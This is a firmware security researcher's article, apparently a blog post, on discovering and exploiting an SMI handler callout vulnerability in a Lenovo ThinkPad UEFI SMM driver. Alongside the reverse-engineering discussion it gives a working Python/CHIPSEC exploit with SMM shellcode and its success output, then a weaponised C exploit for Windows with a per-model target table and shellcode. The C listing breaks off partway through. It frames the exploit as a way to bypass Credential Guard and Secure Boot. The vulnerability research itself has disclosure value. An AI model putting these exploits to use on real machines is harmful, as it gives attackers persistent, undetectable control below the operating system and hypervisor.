Hi, everyone. In this article I’ll continue to publish my research in PC firmware security field. In previous article, “Breaking UEFI security with software DMA attacks”, I’ve shown how to exploit UEFI boot script table vulnerability and get access to the SMRAM using software DMA attack under Linux. This time we will talk about discovering and exploitation of SMI dispatch vulnerabilities in UEFI System Management Mode drivers. For anyone who’s not familiar with architecture of SMM phase firmware code on UEFI based platforms I’ll strongly recommend to read my other article “Building reliable SMM backdoor for UEFI based platforms”, especially the part about communicating with SMM code using software SMI.

SMM vulnerabilities that I will talk about in this article aren’t new. Around one year ago LegbaCore and Intel Security published two works: “How Many Million BIOSes Would you Like to Infect?” and “A New Class of Vulnerabilities in SMI Handlers” correspondingly, they rediscovered some security issues in SMI handlers code that was actually a known problem among PC firmware developers (for example, same attacks was described in Loïc Duflot work “System Management Mode Design and Security Issues” presented six years ago). Nevertheless, researchers were able to find and report a lot of firmware vulnerabilities of this class in products like Lenovo, Dell, HP laptops and many others (CERT VU#631788). To play with these vulnerabilities I got ThinkPad T450s laptop. According to original security advisory by Lenovo (apparently, it has a lack of technical details) — some unspecified SMM callout vulnerabilities were patched in the latest version of it’s firmware and everything that we need to do is just find out and exploit one of these vulns.

SMI handlers reverse engineering

Attack model for this vulnerability class is fairly simple: System Management Interrupt (SW SMI) handlers code is part of platform firmware that runs in System Management Mode RAM (SMRAM) — isolated area of physical memory that not accessible from any operating system code. Firmware can register several SW SMI handlers (usually, up to several dozens on real machines) with logical numbers from 0 to 255. Operating system can trigger SW SMI with writing handler number to APMC I/O port B2h, if handler code will try access or execute any non-SMRAM memory that might be modified by attacker — this issue probably may lead to arbitrary SMM code execution (ring0 to SMM privileges escalation).

There was only one good thing about T450s — it definitely has vulnerability that we looking for, but everything other was not so bright:

  • It’s a relatively new ThinkPad model: no lame or well known BIOS vulnerabilities like not locked BIOS_CNTL, SMRAM cache poisoning, etc. Also, Lenovo is definitely not the most lame platform security vendor (actually, it’s firmware is a waaay better than, for example, firmware from Apple).
  • T450s is also not vulnerable to UEFI boot script table vulnerability — it’s firmware uses SMM lockbox to protect boot script table contents from unauthorized modifications by operating system, it means that we can’t use my exploit in combination with DMA attack to obtain SMRAM dump.
  • This model is also uses Intel BootGuard technology to protect firmware image from unauthorized modifications. Even if attacker with physical access and hardware programmer writes infected firmware directly to SPI flash chip on the motherboard — this firmware will not be accepted by hardware because on BootGuard enabled platforms CPU verifies firmware digital signature at silicon (microcode?) level before executing the reset vector. It means that we can’t get access to SMM memory using my UEFI SMM backdoor — infected system simply will not be able to boot.

So, without SMRAM dump we don’t have any easy ways to get SMI handlers list that we need to check for vulnerabilities, the best possible thing to do is to obtain T450s firmware image (I used chipsec_util.py from CHIPSEC framework to dump it form running operating system), parse it’s Firmware File System (FFS) to extract SMM drivers and perform their manual reverse engineering to determinate what SW SMI handlers they register during platform initialisation. My T450s came with outdated firmware of version 1.11 (JBET46WW), all binary specific information below will be provided for this exact version of firmware.

While using chipsec_util.py to dump the flash, I figured that among lots of other features it allows to generate SW SMI from command line, so, without having any high hopes I typed the following command that triggers all possible SW SMI handlers from 0 to 255:

# for i in {0..255}; do python chipsec_util.py smi 0 $i 0; done

It’s hard to describe my surprise, when test machine completely hanged shortly after the firing of SW SMI with number 3 — it was a good sign which means that Lenovo SMI handlers code quality is actually more poor than I expected. It’s obviously that it was never tested even with the simple and trivial SMI fuzzing, I guess there’s only one reason why such stupid bug could appear in production code — SW SMI with number 3 had been registered by some legacy UEFI SMM driver and never used by any other components of platform firmware or operating system (well, at least during runtime phase).

ThinkPad T450s during SW SMI handlers “fuzzing”.

However, at this point we don’t know any specific details about discovered flaw except SW SMI handler number. It’s still necessary to do manual reverse engineering of SMM drivers present in UEFI firmware to locate the problematic SMM driver.

“System Management Mode Core Interface”, volume 4 of Platform Initialization Specification says that SMM drivers registers SW SMI handlers using Register() function of EFI_SMM_SW_DISPATCH_PROTOCOL, here’s the description of this protocol that was took from header files of open source EFI Development Kit:

//
// Global ID for the SW SMI Protocol
//
#define EFI_SMM_SW_DISPATCH_PROTOCOL_GUID 
  { 
    0xe541b773, 0xdd11, 0x420c, {0xb0, 0x26, 0xdf, 0x99, 0x36, 0x53, 0xf8, 0xbf } 
  }

//
// Related Definitions
//
// A particular chipset may not support all possible software SMI input values.
// For example, the ICH supports only values 00h to 0FFh.  The parent only allows a single
// child registration for each SwSmiInputValue.
//
typedef struct {
  UINTN SwSmiInputValue;
} EFI_SMM_SW_DISPATCH_CONTEXT;

//
// Member functions
//
/*
  Dispatch function for a Software SMI handler.

  @param  DispatchHandle        The handle of this dispatch function.
  @param  DispatchContext       The pointer to the dispatch function's context.
                                The SwSmiInputValue field is filled in
                                by the software dispatch driver prior to
                                invoking this dispatch function.
                                The dispatch function will only be called
                                for input values for which it is registered.
  @return None
*/
typedef
VOID
(EFIAPI *EFI_SMM_SW_DISPATCH)(
  IN  EFI_HANDLE                    DispatchHandle,
  IN  EFI_SMM_SW_DISPATCH_CONTEXT   *DispatchContext
  );

/*
  Register a child SMI source dispatch function with a parent SMM driver.

  @param  This                  The pointer to the EFI_SMM_SW_DISPATCH_PROTOCOL instance.
  @param  DispatchFunction      The function to install.
  @param  DispatchContext       The pointer to the dispatch function's context.
                                Indicates to the register
                                function the Software SMI input value for which
                                to invoke the dispatch function.
  @param  DispatchHandle        The handle generated by the dispatcher to track
                                the function instance.

  @retval EFI_SUCCESS           The dispatch function has been successfully
                                registered and the SMI source has been enabled.
  @retval EFI_DEVICE_ERROR      The SW driver could not enable the SMI source.
  @retval EFI_OUT_OF_RESOURCES  Not enough memory (system or SMM) to manage this
                                child.
  @retval EFI_INVALID_PARAMETER DispatchContext is invalid. The SW SMI input value
                                is not within valid range.
*/
typedef
EFI_STATUS
(EFIAPI *EFI_SMM_SW_REGISTER)(
  IN EFI_SMM_SW_DISPATCH_PROTOCOL          *This,
  IN EFI_SMM_SW_DISPATCH                   DispatchFunction,
  IN EFI_SMM_SW_DISPATCH_CONTEXT           *DispatchContext,
  OUT EFI_HANDLE                           *DispatchHandle
  );

//
// Interface structure for the SMM Software SMI Dispatch Protocol
//
struct _EFI_SMM_SW_DISPATCH_PROTOCOL {
  //
  // Installs a child service to be dispatched by this protocol.
  //
  EFI_SMM_SW_REGISTER   Register;

  //
  // Removes a child service dispatched by this protocol.
  //
  EFI_SMM_SW_UNREGISTER UnRegister;

  //
  // A read-only field that describes the maximum value that can be used
  // in the EFI_SMM_SW_DISPATCH_PROTOCOL.Register() service.
  //
  UINTN                 MaximumSwiValue;
};

To find UEFI drivers which use or implement this protocol with the help of UEFITool by Nikolaj Schlej we can do the binary search by protocol GUID inside all of the FFS contents:

Search by protocol GUID in UEFITool.

For T450s firmware occurrences of EFI_SMM_SW_DISPATCH_PROTOCOL GUID were found in almost 20 different UEFI drivers, in terms of resources necessary for analysis it’s not that lot — on my other test machines SMI handlers code was pretty minimalistic and reverse engineering friendly.

After several hours of work, after lots of funny and disgusting things that I’ve met in SMI handlers code, I finally found UEFI driver that was responsible for SW SMI handler 3 fault. FFS GUID of this driver is 124A2E7A-1949-483E-899F-6032904CA0A7, it’s image also has the name string: SystemSmmAhciAspiLegacyRt (yeah, “legacy” word used in module/function/whatever name usually means that something interesting might be found inside):

Vulnerable UEFI SMM driver that was developed by OEM (Lenovo).

SystemSmmAhciAspiLegacyRt driver entry point obtains EFI_SMM_BASE_PROTOCOL, EFI_SMM_SW_DISPATCH_PROTOCOL, EFI_SMM_CPU_PROTOCOL and other necessary protocols of DXE and SMM phase. Then it calls Register() function of EFI_SMM_SW_DISPATCH_PROTOCOL to register sub_3DC() function as SW SMI handler. Register() call accepts v5 as argument, this variable points to the EFI_SMM_SW_DISPATCH_CONTEXT structure with -1 (0xffffffff) value of SwSmiInputValue field — according to UEFI SMM specification it means that during handler registration firmware must automatically select free handler number between 0 and 255 (usually the lowest possible) and return this number back to caller.

EFI_STATUS __stdcall EntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
    __int64 v2; // [email protected]
    int v3; // [email protected]
    __int64 v5; // [sp+20h] [bp-28h]@7
    EFI_SMM_SW_DISPATCH_PROTOCOL *gEfiSmmSwDispatchProtocol; // [sp+28h] [bp-20h]@2
    __int64 v7; // [sp+30h] [bp-18h]@7
    BOOLEAN InSmm; // [sp+60h] [bp+18h]@1
    int (__fastcall **v9)(_QWORD, _QWORD); // [sp+68h] [bp+20h]@3

    // initialise global variables, locate protocols, etc.
    sub_9E0(ImageHandle, SystemTable, &InSmm, v2);

    if (!InSmm ||
        (v3 = gBS->LocateProtocol(
            &gEfiSmmSwDispatchProtocolGuid,
            0i64,
            &gEfiSmmSwDispatchProtocol), v3 >= 0) &&

        gEfiSmmBaseProtocol->GetSmstLocation(
            gEfiSmmBaseProtocol,
            &gSmst),

        v3 = gBS->LocateProtocol(
            &gPhoenixEfiSmmSwSmiProtocolGuid,
            0i64,
            &v9), v3 >= 0) && (v3 = sub_3A0(), v3 >= 0) &&

        (v3 = gBS->LocateProtocol(
            &gEfiSmmCpuProtocolGuid,
            0i64,
            &gEfiSmmCpuProtocol), v3 >= 0) &&

        (qword_250 = 0xFFFFFFFFi64, v3 = (*v9)(&dword_240, &qword_250), v3 >= 0) &&

        //
        // Register SMI handler, because SwSmiInputValue is -1 -- a unique
        // handler number will be assigned and returned by Register() function.
        //
        (v5 = 0xFFFFFFFFi64, v3 = gEfiSmmSwDispatchProtocol->Register(
            gEfiSmmSwDispatchProtocol,
            sub_3DC,
            &v5,
            &v7), v3 >= 0)
    {
        v3 = 0;
    }

    return v3;
}

Ok, during static code analysis we can’t say what exactly SW SMI handler number will be assigned to sub_3DC() function. You probably will ask me, why I’ve decided that this driver is guilty in SW SMI handler 3 fault?

The answer is simple, just check the first function call inside our SMI handler code:

EFI_STATUS __fastcall sub_3DC(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)
{
    _QWORD *v4; // [email protected]
    __int64 v5; // [email protected]
    unsigned __int16 v7; // [sp+30h] [bp-18h]@3
    int v8; // [sp+60h] [bp+18h]@5
    int v9; // [sp+68h] [bp+20h]@1

    v9 = 0;
    v4 = a2;

    //
    // Vulnerability is here:
    //
    // SMI handler code calls LocateProtocol() function by address from 
    // EFI_BOOT_SERVICES structure that accessible for operating
    // system during runtime phase. Attacker can overwrite LocateProtocol()
    // address with shellcode address and get SMM code execution.
    //
    v5 = gBS->LocateProtocol(&stru_270, 0i64, &qword_BC0);
    if (v5 >= 0)
    {
        gEfiSmmCpuProtocol->ReadSaveState(
            gEfiSmmCpuProtocol,
            2u,
            EFI_SMM_SAVE_STATE_REGISTER_ES,
            0,
            &v9
        );

        gEfiSmmCpuProtocol->ReadSaveState(
            gEfiSmmCpuProtocol,
            4u,
            EFI_SMM_SAVE_STATE_REGISTER_RBX,
            0,
            &v7
        );

        if (*v4 == 0xFFFFFFFFi64)
        {
            //
            // Another vulnerability is here:
            //
            // sub_93C() function accepts argument as a structure with attacker controllable
            // address which allows to overwrite arbitrary memory address within the SMRAM.
            // Check code of sub_93C() for more information.
            //
            sub_93C(v7);
        }
    }
    else
    {
        qword_BC0 = 0i64;
    }

    gEfiSmmCpuProtocol->ReadSaveState(
        gEfiSmmCpuProtocol,
        4u,
        EFI_SMM_SAVE_STATE_REGISTER_RFLAGS,
        0,
        &v8
    );

    v8 &= 0xFFFFFFFA;

    return gEfiSmmCpuProtocol->WriteSaveState(
        gEfiSmmCpuProtocol,
        4u,
        EFI_SMM_SAVE_STATE_REGISTER_RFLAGS,
        0,
        &v8
    );
}

At this point I was surprised second time. Code that we are talking about calls LocateProtocol() function of EFI_BOOT_SERVICES to obtain a pointer to some unknown OEM specific UEFI DXE protocol with GUID 2837C020-83F6-11DF-8395-0800200C9A66. It might be normal (and quite typical) when you see such call in DXE phase code, but function sub_3DC() is actually run during SMI Management part of SMM phase — it means that normally (according to UEFI specification) sub_3DC() is allowed to use only EFI_SMM_SYSTEM_TABLE functions and SMM protocols, but not EFI_BOOT_SERVICES functions or DXE protocols like we see here.

No wonder that such code will fail on any SW SMI with proper number generated by operating system — EFI_BOOT_SERVICES structure and all of the DXE protocols are being freed when UEFI boot loader transfers the execution to operating system kernel with ExitBootServices() call. So, when the platform had switched from DXE phase to runtime phase — EFI_BOOT_SERVICES structure (which address was stored in gBS global variable of vulnerable SMM driver) might be overwritten by attacker to execute arbitrary SMM phase code instead of original LocateProtocol() call.

The sub_3DC() code is also doing another danger thing. As you might see, it uses ReadSavedState() function of EFI_SMM_CPU_PROTOCOL to read RBX value controlled by operating system and passes it as some structure pointer to another function, sub_93C():

int __fastcall sub_93C(void *a1)
{
    //
    // This function is being called from SMI handler of SystemSmmAhciAspiLegacyRt
    // UEFI SMM driver. Function argument a1 is pointer to some structure,
    // this pointer is controllable by attacker because sub_3DC() reads it's
    // value from RBX register of operating system which state was saved during
    // SMI dispatch.
    //
    int result; // [email protected]
    __int64 v2; // [email protected]

    //
    // Attacker can use this code to overwrite arbitary memory address within the 
    // SMRAM that not accessible to operating system on properly configured platforms.
    //
    *((_BYTE *)a1 + 1) = 0;
    result = sub_5D8();

    if (*(_BYTE *)(v2 + 2) >= 6u)
    {
        *(_BYTE *)(v2 + 1) = -127;
        return result;
    }
    
    if (*(_BYTE *)v2 >= 9u)
    {
        goto LABEL_4;
    }

    //
    // All functions that being called below also accept the same attacker 
    // controllable pointer as first argument, their code also might be used to 
    // overwrite arbitrary physical memory within the SMRAM.
    //
    if (*(_BYTE *)v2)
    {        
        switch (*(_BYTE *)v2)
        {
        case 1:

            result = sub_674(v2);
            break;

        case 2:
        
            result = sub_778(v2);
            break;
        
        case 4:
        
            result = sub_818(v2);
            break;
        
        case 6:
        
            result = sub_874(v2);
            break;
        
        case 7:
        
            result = sub_6D8(v2);
            break;
        
        default:
        
            if (*(_BYTE *)v2 != 8)
            {
LABEL_4:
                *(_BYTE *)(v2 + 1) = -128;
                return result;
            }

            result = sub_8D8(v2);
            break;
        }
    }
    else
    {
        result = sub_614(v2);
    }

    return result;
}

This issue also can be exploited to execute arbitrary code within SMM.

Vulnerable SystemSmmAhciAspiLegacyRt UEFI SMM driver is present in all of the ThinkPad models that I had checked (X220, X230 and some others), I guess this problem might be relevant even for wider range of different model lines manufactured by Lenovo. For my T450s two vulnerabilities in this driver were fixed in the latest firmware of version 1.20 (JBET55WW), but even new version of this driver still deserves some attention, because sub_93C() that we talked about de-facto implements some interesting communication channel between SMM and operating system.

On ThinkPad laptops these vulnerabilities do not allow attacker to infect platform firmware stored in SPI flash:

  • Certain regions of SPI flash are protected by SPI Protected Ranges (PRx) mechanism.
  • As it was said above, new ThinkPad models use Intel BootGuard. Even if attacker will able to bypass PRx and infect firmware image stored there — CPU will reject to execute it’s reset vector because of broken digital signature.

However, even with such limitations, ring0 to SMM privileges escalation vulnerabilities are still interesting from practical point of view, their applied use-cases will be explained later in this article.

What lesson can be learned by developers from this case? Apparently, the bug is so horrible so I don’t even have any specific technical advises to say, just read the fucking manuals and use proper design patterns for proper execution environments.

SystemSmmAhciAspiLegacyRt SMI handler vulnerability exploitation

To exploit discovered vulnerabilities I decided to use insecure LocateProtocol() call inside sub_3DC().

Starting from Haswell microarchitecture Intel CPU provides SMM_Code_Chk_En control bit of MSR_SMM_FEATURE_CONTROL model-specific register. It’s description from “Volume 3C:System Programming Guide, Part 3” of Intel documentation says:

This control bit is available only if MSR_SMM_MCA_CAP[58] == 1. When set to ‘0’ (default) none of the logical processors are prevented from executing SMM code outside the ranges defined by the SMRR. When set to ‘1’ any logical processor in the package that attempts to execute SMM code not within the ranges defined by the SMRR will assert an unrecoverable MCE.

Firmware of T450s is not using this feature and it’s actually very good for exploitation: no need to bother about shellcode location, any physical memory page outside of SMRAM is executable. Exploitation step by step:

  1. Determine EFI_BOOT_SERVICES structure address that was used by firmware code during DXE phase. Usually, this address remains constant across platform reboots for specific version of firmware that runs on specific computer model.
  2. Allocate contiguous chunk of physical memory and copy SMM shellcode there.
  3. Store 8 bytes of shellcode physical address at EFI_BOOT_SERVICES + 0x140, where 0x140 is LocateProtocol field offset. Shellcode must return -1 (0xffffffffffffffff) in RAX register to bypass certain function calls in sub_3DC() that may crash the platform.
  4. Fire necessary SW SMI with writing 3 to APMC I/O port B2h, shellcode will be executed by sub_3DC() immediately after that.
  5. Perform cleanup: restore original memory contents at EFI_BOOT_SERVICES + 0x140, etc.

The easiest way to find EFI_BOOT_SERVICES address for specific target — disable secure boot (if necessary), boot into UEFI Shell and run mem command without arguments:

Memory Address 00000000AB580F18 200 Bytes
  AB580F18: 49 42 49 20 53 59 53 54-1F 00 02 00 78 00 00 00  *IBI SYST....x...*
  AB580F28: 19 EA 64 44 00 00 00 00-18 30 B6 AA 00 00 00 00  *..dD.....0......*
  AB580F38: 10 11 00 00 00 00 00 00-98 8A A3 A4 00 00 00 00  *................*
  AB580F48: 70 22 32 AA 00 00 00 00-18 37 82 A3 00 00 00 00  *p"2......7......*
  ...

Valid EFI Header at Address 00000000AB580F18
---------------------------------------------
System: Table Structure size 00000078 revision 0002001F
ConIn (00000000AA322270) ConOut (00000000A5155618) StdErr (00000000AA322670)
Runtime Services 00000000AB580E18
Boot Services    00000000A11A6610
SAL System Table 0000000000000000
ACPI Table       00000000ACDFE000
ACPI 2.0 Table   00000000ACDFE014
MPS Table        0000000000000000
SMBIOS Table     00000000ACBFE000

Now we have all of the necessary information to write a simplest PoC for this vulnerability. As usual, I will use Python with CHIPSEC library as hardware abstraction API, this exploit can be used on both of Windows and Linux:

import sys, os, struct
from hexdump import hexdump

# shellcode call counter address
CNT_ADDR = 0x00001010

# SMM shellcode
SC = ''.join([ 'x48xC7xC0x10x10x00x00', # mov  rax, CNT_ADDR
               'xFEx00',                     # inc  byte ptr [rax]
               'x48x31xC0',                 # xor  rax, rax
               'x48xFFxC8',                 # dec  rax
               'xC3',                         # ret
               'x00'                          # db   0 ; call counter value
             ])

# shellcode address and size
SC_ADDR = 0x00001000
SC_SIZE = 0x10

assert len(SC) == SC_SIZE + 1

# Function address to overwrite:
# EFI_BOOT_SERVICES addr + LocateProtocol offset
FN_ADDR = 0xA11A6610 + 0x140

# SMI handler number
SMI_NUM = 3

class Chipsec(object):

    def __init__(self):

        import chipsec.chipset
        import chipsec.hal.physmem
        import chipsec.hal.interrupts

        # initialize CHIPSEC
        self.cs = chipsec.chipset.cs()
        self.cs.init(None, True)

        # get instances of required classes
        self.mem = chipsec.hal.physmem.Memory(self.cs)
        self.ints = chipsec.hal.interrupts.Interrupts(self.cs)

    # CHIPSEC has no physical memory read/write methods for quad words
    def read_physical_mem_qword(self, addr):

        return struct.unpack('Q', self.mem.read_physical_mem(addr, 8))[0]

    def write_physical_mem_qword(self, addr, val):

        self.mem.write_physical_mem(addr, 8, struct.pack('Q', val))

def main():

    cnt = 0

    #initialize chipsec stuff
    cs = Chipsec()

    print 'Shellcode address is 0x%x, %d bytes length:' % (SC_ADDR, SC_SIZE)
    hexdump(SC)
    print

    # backup shellcode memory contents
    old_data = cs.mem.read_physical_mem(SC_ADDR, 0x1000)

    # write shellcode
    cs.mem.write_physical_mem(SC_ADDR, SC_SIZE, SC)
    cs.mem.write_physical_mem_byte(CNT_ADDR, 0)

    # read pointer value
    old_val = cs.read_physical_mem_qword(FN_ADDR)

    print 'Old value at 0x%x is 0x%x, overwriting with 0x%x' % 
          (FN_ADDR, old_val, SC_ADDR)

    # write pointer value
    cs.write_physical_mem_qword(FN_ADDR, SC_ADDR)

    # fire SMI
    cs.ints.send_SW_SMI(0, SMI_NUM, 0, 0, 0, 0, 0, 0, 0)

    # read shellcode call counter
    cnt = cs.mem.read_physical_mem_byte(CNT_ADDR)

    # check for successful exploitation
    print 'SUCCESS: SMM shellcode was executed' if cnt > 0 else 
          'FAILS: Unable to execute SMM shellcode'

    print 'Performing memory cleanup...'

    # restore overwritten memory
    cs.mem.write_physical_mem(SC_ADDR, len(old_data), old_data)
    cs.write_physical_mem_qword(FN_ADDR, old_val)

    return 0 if cnt > 0 else -1

if __name__ == '__main__':

    exit(main())

Now let’s test the code:

# python lenovo_SystemSmmAhciAspiLegacyRt_expl.py

****** Chipsec Linux Kernel module is licensed under GPL 2.0

Shellcode address is 0x1000, 16 bytes length:
00000000: 48 C7 C0 10 10 00 00 FE  00 48 31 C0 48 FF C8 C3  H........H1.H...

Old value at 0xa11a6750 is 0x1000, overwriting with 0x1000
SUCCESS: SMM shellcode was executed
Performing memory cleanup...

At this point I heaved a sigh of relief, now it’s finally clear that proper vulnerable driver for SW SMI handler 3 fault was found.

This time I also decided to write more weaponised exploit for UEFI vulnerability, there are several good reasons to do it for Windows platform as native application/driver without any heavyweight 3-rd party dependencies (like CHIPSEC).

Firmware vulnerabilities exploitation in Windows environment

In my previous articles I used Python and CHIPSEC to develop UEFI exploits, it’s quite friendly for prototyping/PoC purposes but not very convenient for real life security tools. Also, after I spent quite a lot of time using CHIPSEC in my programs I decided to develop my own cross-platform hardware abstraction library as more convenient and tiny replacement of CHIPSEC for programs written in C.

Also, this time I decided to choose Windows as native target for SMM driver vulnerability exploit, there are several reasons for that:

  • New computers which come with pre-installed Windows may have enabled Secure Boot. Vulnerability that leads to arbitrary SMM code execution also allows to get unrestricted r/w access to NVRAM region (usually it shares the same SPI flash chip on the motherboard with firmware code) where Secure Boot configuration is stored.
  • With Windows 10 Enterprise Microsoft released new security feature (disabled by default) called Credential Guard — it protects domain credentials stored in memory even if attacker was able to get full privileges (ring3 + ring0 code execution) on target operating system. 

When Credential Guard is enabled it uses another new Windows feature called Virtual Secure Mode (VSM), there’s a great talk “Battle of SKM and IUM” (slides, video) by Alex Ionescu that explains how these features works.

VSM is a protected virtual machine (aka secure world) that runs on Hyper-V hypervisor separately from host Windows 10 system and its kernel (aka normal world). VSM has it’s own isolated kernel mode and user mode, on Credential Guard enabled systems part of Local Security Subsystem Service (LSASS) that is responsible for keeping credentials in memory is running as isolated user mode process inside VSM:

Virtual Secure Mode in Windows 10 Enterprise.

As you can see, Credential Guard allows effectively mitigate mimikatz and similar tools that dump user credentials, but all these things remain really safe only on platforms with ideal firmware that has no security issues like vulnerabilities in System Management Mode. As it was shown by researchers from Intel in their work called “Attacking Hypervisors via Firmware and Hardware” — attacker that runs arbitrary code in root partition (e.g. host) of Hyper-V can use APMC I/O port B2h to trigger SMI handler vulnerability which allows to bypass hypervisor powered VSM isolation (de-facto SMM is the most powerful execution mode of IA-32, as well as the hypervisor it also has full physical memory space access).

Unlike Linux, on Windows operating system there aren’t any usable mechanisms which allow physical memory or I/O ports access from user mode applications, for low level hardware access you have to load a kernel driver. In addition, 64-bit Windows kernel use security feature called Digital Signature Enforcement (DSE), it requires that all driver code must have a digital signature.

I named my hardware access runtime project “fwexpl”. It consists of Windows kernel driver and user-mode library that communicates with driver using DeviceIoControl() Win32 function. Top level API of libfwexpl is OS agnostic, in nearby future I’m planning to port this library to Linux and OS X as well. Here’s the C header file with available functions, they provides access to physical memory, I/O ports, PCI config space, also there are several functions for memory management and SW SMI:

// data width for uefi_expl_port_read/write and uefi_expl_pci_read/write
typedef enum _data_width { U8, U16, U32, U64 } data_width;

// PCI address from bus, device, function and offset for uefi_expl_pci_read/write
#define PCI_ADDR(_bus_, _dev_, _func_, _addr_)                           
                                                                         
    (unsigned int)(((_bus_) << 16) | ((_dev_) << 11) | ((_func_) << 8) | 
                   ((_addr_) & 0xfc) | ((unsigned int)0x80000000))

// initialize kernel driver
bool uefi_expl_init(char *driver_path);

// unload kernel driver
void uefi_expl_uninit(void);

// check if kernel driver is initialized
bool uefi_expl_is_initialized(void);

// read physical memory at given address
bool uefi_expl_phys_mem_read(unsigned long long address, int size, unsigned char *buff);

// write physical memory at given address
bool uefi_expl_phys_mem_write(unsigned long long address, int size, unsigned char *buff);

// read value from I/O port
bool uefi_expl_port_read(unsigned short port, data_width size, unsigned long long *val);

// write value to I/O port
bool uefi_expl_port_write(unsigned short port, data_width size, unsigned long long val);

// read value from PCI config space of specified device
bool uefi_expl_pci_read(unsigned int address, data_width size, unsigned long long *val);

// write value to PCI config space of specified device
bool uefi_expl_pci_write(unsigned int address, data_width size, unsigned long long val);

// generate software SMI using APMC I/O port 0xB2
bool uefi_expl_smi_invoke(unsigned char code);

// allocate contiguous physical memory
bool uefi_expl_mem_alloc(int size, unsigned long long *addr, unsigned long long *phys_addr);

// free memory that was allocated with uefi_expl_mem_alloc()
bool uefi_expl_mem_free(unsigned long long addr);

// convert virtual address to physical memory address
bool uefi_expl_phys_addr(unsigned long long addr, unsigned long long *phys_addr);

Code in C and libfwexpl that exploits the same SMM callout vulnerability in SystemSmmAhciAspiLegacyRt UEFI driver (I must admit, it’s not much complicated in comparison with Python version that was shown above):

typedef struct _UEFI_EXPL_TARGET
{
    // Target address to overwrite (EFI_BOOT_SERVICES->LocateService field value)
    // with shellcode address.
    unsigned long long addr;

    // Number of vulnerable SMI handler.
    unsigned char smi_num;

    // Target name and description.
    const char *name;

} UEFI_EXPL_TARGET,
*PUEFI_EXPL_TARGET;

// list of model and firmware version specific constants for different targets
static UEFI_EXPL_TARGET g_targets[] =
{
    { 0xd12493b0, 0x01, "Lenovo ThinkPad X230 firmware 2.61"  },
    { 0xa11a6750, 0x03, "Lenovo ThinkPad T450s firmware 1.11" }
};

// offsets of handler and context values in g_shellcode
#define SHELLCODE_OFFS_HANDLER 33
#define SHELLCODE_OFFS_CONTEXT 23

// shellcode entry that executes smm_handler()
static unsigned char g_shellcode[] =
{
    /*
        Save registers
    */
    0x53 /* push rbx */, 0x51 /* push rcx */, 0x52 /* push rdx */,
    0x56 /* push rsi */, 0x57 /* push rdi */,
    0x41, 0x50 /* push r8  */, 0x41, 0x51 /* push r9  */, 0x41, 0x52 /* push r10 */,
    0x41, 0x53 /* push r11 */, 0x41, 0x54 /* push r12 */, 0x41, 0x55 /* push r13 */,
    0x41, 0x56 /* push r14 */, 0x41, 0x57 /* push r15 */,

    /*
        Call smm_handler() function.
    */
    0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov    rcx, context
    0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov    rax, handler
    0x48, 0x83, 0xec, 0x20,                                      // sub    rsp, 0x20
    0xff, 0xd0,                                                  // call   rax
    0x48, 0x83, 0xc4, 0x20,                                      // add    rsp, 0x20

    /*
        Restore registers.
    */
    0x41, 0x5f /* pop r15 */, 0x41, 0x5e /* pop r14 */, 0x41, 0x5d /* pop r13 */,
    0x41, 0x5c /* pop r12 */, 0x41, 0x5b /* pop r11 */, 0x41, 0x5a /* pop r10 */,
    0x41, 0x59 /* pop r9  */, 0x41, 0x58 /* pop r8  */,
    0x5f /* pop rdi */, 0x5e /* pop rsi */, 0x5a /* pop rdx */,
    0x59 /* pop rcx */, 0x5b /* pop rbx */,

    /*
        Shellcode must return -1 to bypass other function calls inside
        sub_3DC() SMI handler to prevent fault inside SMM.
    */
    0x48, 0x31, 0xc0,                                            // xor    rax, rax
    0x48, 0xff, 0xc8,                                            // dec    rax
    0xc3                                                         // ret
};
//--------------------------------------------------------------------------------------
static void smm_handler(PUEFI_EXPL_SMM_SHELLCODE_CONTEXT context)
{
    // tell to the caller that smm_handler() was executed
    context->smi_count += 1;

    if (context->user_handler)
    {
        UEFI_EXPL_SMM_HANDLER user_handler = (UEFI_EXPL_SMM_HANDLER)context->user_handler;

        // call external handler
        user_handler((void *)context->user_context);
    }
}
//--------------------------------------------------------------------------------------
bool expl_lenovo_SystemSmmAhciAspiLegacyRt(
    int target,
    UEFI_EXPL_SMM_HANDLER handler, void *context)
{
    bool ret = false;
    UEFI_EXPL_TARGET *expl_target = NULL;
    UEFI_EXPL_SMM_SHELLCODE_CONTEXT smm_context;

    smm_context.smi_count = 0;
    smm_context.user_handler = smm_context.user_context = 0;

    if (target < 0 || target >= sizeof(g_targets) / sizeof(UEFI_EXPL_TARGET))
    {
        return false;
    }

    // get target model information
    expl_target = &g_targets[target];

    printf(__FUNCTION__"(): Using target "%s"n", expl_target->name);

    if (handler)
    {
        unsigned long long addr = (unsigned long long)handler;

        // call caller specified handler from SMM
        if (!uefi_expl_phys_addr(addr, &smm_context.user_handler))
        {
            return false;
        }

        smm_context.user_context = (unsigned long long)context;
    }

    unsigned long long handler_addr = (unsigned long long)&smm_handler, handler_phys_addr = 0;
    unsigned long long context_addr = (unsigned long long)&smm_context, context_phys_addr = 0;

    // get physical address of smm_handler()
    if (!uefi_expl_phys_addr(handler_addr, &handler_phys_addr))
    {
        return false;
    }

    // get physical address of smm_context
    if (!uefi_expl_phys_addr(context_addr, &context_phys_addr))
    {
        return false;
    }

    printf(__FUNCTION__"(): SMM payload handler address is 0x%llx with context at 0x%llxn",
        handler_phys_addr, context_phys_addr);

    unsigned long long sc_addr = 0, sc_phys_addr = 0;

    // allocate memory for shellcode
    if (!uefi_expl_mem_alloc(PAGE_SIZE, &sc_addr, &sc_phys_addr))
    {
        return false;
    }

    unsigned char shellcode[sizeof(g_shellcode)];

    memcpy(shellcode, g_shellcode, sizeof(g_shellcode));
    *(unsigned long long *)&shellcode[SHELLCODE_OFFS_HANDLER] = handler_phys_addr;
    *(unsigned long long *)&shellcode[SHELLCODE_OFFS_CONTEXT] = context_phys_addr;

    printf(__FUNCTION__"(): Physical memory for shellcode allocated at 0x%llxn", sc_phys_addr);

    if (uefi_expl_phys_mem_write(sc_phys_addr, sizeof(shellcode), shellcode))
    {
        unsigned long long ptr_val = 0;

        // read original pointer value
        if (uefi_expl_phys_mem_read(
               expl_target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val))
        {
            printf(__FUNCTION__"(): Old pointer 0x%llx value is 0x%llxn",
